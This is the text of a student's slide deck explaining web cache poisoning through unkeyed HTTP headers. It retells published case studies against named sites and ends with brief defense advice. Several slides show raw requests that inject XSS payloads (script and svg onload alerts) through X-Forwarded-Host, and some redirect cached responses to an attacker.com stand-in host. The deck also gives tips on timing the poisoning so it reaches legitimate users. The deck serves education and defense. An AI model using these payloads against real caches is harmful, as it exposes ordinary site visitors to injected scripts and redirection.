Web Cache Poisoning

Web Cache
Poisoning
- Kuldeep Pandya

About Me
● A neophyte
● Web enthusiast
● iAm NoT yEt wORkInG iAm
sTiLl sTudiNg (◕‿◕)

Overview
● What cache poisoning we are
talking about?
● Quickly Recalling Caching
● Case Studies
● Practical Time
● Defense

Web Cache Poisoning at a glance
Web Cache Poisoning is NOT
● Web Cache Deception
● Browser Cache Poisoning
● Request Smuggling
● Response Splitting
● DNS Cache Poisoning

Cache Keys
GET /bootstrap.css HTTP/1.1
Host: example.com
User-Agent: Chrome/71.0….Linux/4.15
Blah: …
● Cache Keys are used to uniquely identify cached object

Unkeyed Inputs and key collison
GET /some_page.html HTTP/1.1
Host: example.com
User-Agent: Chrome/71.0….
Blah: …
Cookie: language=english
Blah: ..
GET /some_page.html HTTP/1.1
Host: example.com
User-Agent: Chrome/71.0….
Blah: …
Cookie: language=hindi
Blah: ..

Request:
GET /page.html HTTP/1.1
Host: example.com
Blah: …
Response:
Blah…
<title>Hello
World</title>
Blah...
Request:
Host: example.com
Blah: …
Response:
Blah…
<title>नमस्ते
दुननया</title>
Blah...

Request:
Host: example.com
Blah: …
Response:
Blah…
<title>Hello
World</title>
Blah...
Request:
Host: example.com
Blah: …
Cached Response:
Blah…
<title>Hello
World</title>
Blah...

How do we poison caches?
● Using unkeyed inputs like HTTP Headers
● Using Request Smuggling
● Using Response Splitting
➔ This presentation is focused on exploiting using HTTP Headers

Approach to web cache
poisoning

Quick Example On Web
Cache Poisoning

A normal request
Request:
GET /login.php
HTTP/1.1
Host: 191.168.56.101
Blah: …
Response:
Blah: ...
<img src=”192.168.56.101/image.png”
/>
Blah...

A funny request
Request:
GET /login.php HTTP/1.1
Host: 192.168.56.101
X-Forwarded-Host: lol“/><svg onload=’alert(1)’>
Blah: ...
Response:
Blah: …
<img src=”lol"/><svg
onload='alert(1)'>/image.png” />

We all like practicals, don’t
we?

Cached XSSed Response in
redhat.com
GET /en?dontpoisoneveryone=1 HTTP/1.1
Host: www.redhat.com
X-Forwarded-Host: a."><script>alert(1)</script>
HTTP/1.1 200 OK
Cache-Control: public, no-cache
Blah…
<meta property="og:image"
content="https://a."><script>alert(1)</script>"/>

Discreet Poisoning
● We just poisoned the cache for
https://redhat.com/en?dontpoisoneveryone=1
● We need to be first to send the request whenever this
cache expires in order to poison site’s legitimate users.
● We need to reverse engineer cache expiry system and
crawl into documentation to figure out exact time the
cached object will be expired.

unity3d.com
Request:
GET / HTTP/1.1
Host: unity3d.com
X-Host: portswigger-labs.net
HTTP/1.1 200 OK
Via: 1.1 varnish-v4
Age: 174
Cache-Control: public, max-age=1800
…
<script src="https://portswigger-
labs.net/sites/files/foo.js"></script>

Selective Poisoning
GET / HTTP/1.1
Host: redacted.com
User-Agent: Mozilla/5.0 … Firefox/60.0
X-Forwarded-Host: a"><iframe onload=alert(1)>
HTTP/1.1 200 OK
X-Served-By: cache-lhr6335-LHR
Vary: User-Agent, Accept-Encoding
…
<link rel="canonical" href="https://a">a<iframe
onload=alert(1)>
</iframe>

DOM Poisoning
Request:
GET /dataset HTTP/1.1
Host: catalog.data.gov
X-Forwarded-Host: canary
Response:
HTTP/1.1 200 OK
Age: 32707
X-Cache: Hit from cloudfront
…
<body data-site-root="https://canary/">

Request:
GET /dataset HTTP/1.1
X-Forwarded-Host: id.burpcollaborator.net
Response:
HTTP/1.1 200 OK
Age: 32707
X-Cache: Hit from cloudfront
…
<body data-site-
root="https://id.burpcollaborator.net/">

Request:
GET /api/i18n/es HTTP/1.1
Response:
HTTP/1.1 200 OK
…
{"Show more":"Mostrar más"}

Request:
GET /api/i18n/es HTTP/1.1
Host: portswigger-labs.net
Response:
HTTP/1.1 200 OK
…
{"Show more":"<svg onload=alert(1)>"}

● A cool feature to install addons in background for
marketing purposes
● This feature became famous by forcefully installing
Mr.Robot extension in background
● They were using Nginx for caching
● Mozilla sent a weird request which contained Origin
header in all lowercase
Mozilla SHIELD
GET /api/v1/recipe/signed/
HTTP/1.1
Blah: ...
origin: null
Blah: ...

Request:
GET /api/v1/ HTTP/1.1
Host: normandy.cdn.mozilla.net
X-Forwarded-Host: xyz.burpcollaborator.net
HTTP/1.1 200 OK
{
...
"recipe-list":
"https://xyz.burpcollaborator.net/a
pi/v1/recipe/",
"recipe-signed":
"https://xyz.burpcollaborator.net/a
pi/v1/recipe/signed/",
...
}

● Signing was there so we couldn’t install any addon of our
choice
● Backend mozilla systems that use unsigned recipes let us
peek into system and might help us obtain signing key
● But we could still perform a DDoS
● We could install already signed addons

Route Poisoning in goodhire.com
● Some applications dumbly use request headers to
generate URLs and use them for routing :)
● goodhire.com is hosted on hubspot.com which is using
cloudflare caching server.

Route Poisoning in goodhire.com
Request:
GET / HTTP/1.1
Host: www.goodhire.com
X-Forwarded-Server: canary
Response:
HTTP/1.1 404 Not Found
CF-Cache-Status: MISS
...
<title>HubSpot - Page not found</title>
<p>The domain canary does not exist in our system.</p>

Request:
GET / HTTP/1.1
Host: www.goodhire.com
X-Forwarded-Host: portswigger-labs-
4223616.hs-sites.com
Response:
HTTP/1.1 200 OK
...
<script>alert(document.domain)</script>

Hidden route poisoning
● This vulnerability was in blog.cloudflare.com which was
using its own caching service
● blog.cloudflare.com is hosted using Ghost.

A normal fail response
Request:
GET / HTTP/1.1
Host: blog.cloudflare.com
X-Forwarded-Host: canary
Response:
HTTP/1.1 302 Found
Location: https://ghost.org/fail/

Supplying already hosted
website
Request:
GET / HTTP/1.1
X-Forwarded-Host: blog.binary.com
Response:
HTTP/1.1 200 OK
Normal response
Still No Luck :(

B...bu….but what if we use a
website hosted on ghost?
Request:
GET / HTTP/1.1
X-Forwarded-Host: noshandnibble.ghost.io
Response:
HTTP/1.1 302 Found
Location: http://noshandnibble.blog/

How much damage can we do
with it?
● Files that were cached
a. jpg
b. png
c. pdf
d. js
e. css

Bypassing mixed-content
protection
● Mixed-content is when your website is HTTPS and is
requesting some resource via HTTP.
● Browsers block this type of imports and this feature is
called mixed-content protection.
● This redirect ghost did was an HTTP rather than HTTPS
which was a big obstacle.
Again stuck :/

Luckily, bounty hunters helped
● Safari’s HSTS redirect
automatically upgrades it to
HTTPS
● HSTS is a technique which is
used to prevent data from
being eavesdropped by
upgrading from HTTP to
HTTPS.
● Edge’s 302 response
completely bypasses mixed-
content protection

Chaining unkeyed inputs
● Sometimes, unkeyed inputs only confuse some part of
application.
● We will need to chain unkeyed inputs in order to get something
useful

Request:
GET /en HTTP/1.1
Host: redacted.net
X-Forwarded-Host: xyz
Response:
HTTP/1.1 200 OK
Set-Cookie: locale=en; domain=xyz
Request 1

Request:
GET /en HTTP/1.1
Host: redacted.net
X-Forwarded-Scheme: nothttps
Response:
HTTP/1.1 301 Moved
Permanently
Location: https://redacted.net/en
Request 2

Request 1 + Request 2 = WCP
Request:
GET /en HTTP/1.1
Host: redacted.net
X-Forwarded-Host: attacker.com
X-Forwarded-Scheme: nothttps
Response:
HTTP/1.1 301 Moved Permanently
Location: https://attacker.com/en

Open Graph Hijacking
● Here’s everyone’s favourite, facebook hacking!
● Open Graph is a protocol developed by Facebook which
allows to integrate between facebook and other apps.
● But what if we cache some malicious page which will in
turn share what we want to share? Let’s try it out.

Request:
GET /en HTTP/1.1
Host: redacted.net
X-Forwarded-Host: attacker.com
Response:
HTTP/1.1 200 OK
Cache-Control: max-age=0, private, must-
revalidate
…
<meta property="og:url"
content='https://attacker.com/en'/>

Defense
● Do NOT use caching at all!
● Avoid taking input from headers.
● If do, then include them in cache key.
● Use burp active scanner or Param Miner like tools to find
out unkeyed inputs.

Thanks
● Connect with me
○ kuldeep.pandya.77799@Facebook
○ some_dank_boi@Instagram
○ Predator77799@Twitter

Credits
James Kettle
albinowax@Twitter
References:
https://portswigger.net/blog/practic
al-web-cache-poisoning
https://youtu.be/j2RrmNxJZ5c

Web Cache Poisoning

Empfohlen

Empfohlen

Weitere ähnliche Inhalte

Was ist angesagt?

Was ist angesagt? (20)

Ähnlich wie Web Cache Poisoning

Ähnlich wie Web Cache Poisoning (20)

Kürzlich hochgeladen

Kürzlich hochgeladen (20)

Web Cache Poisoning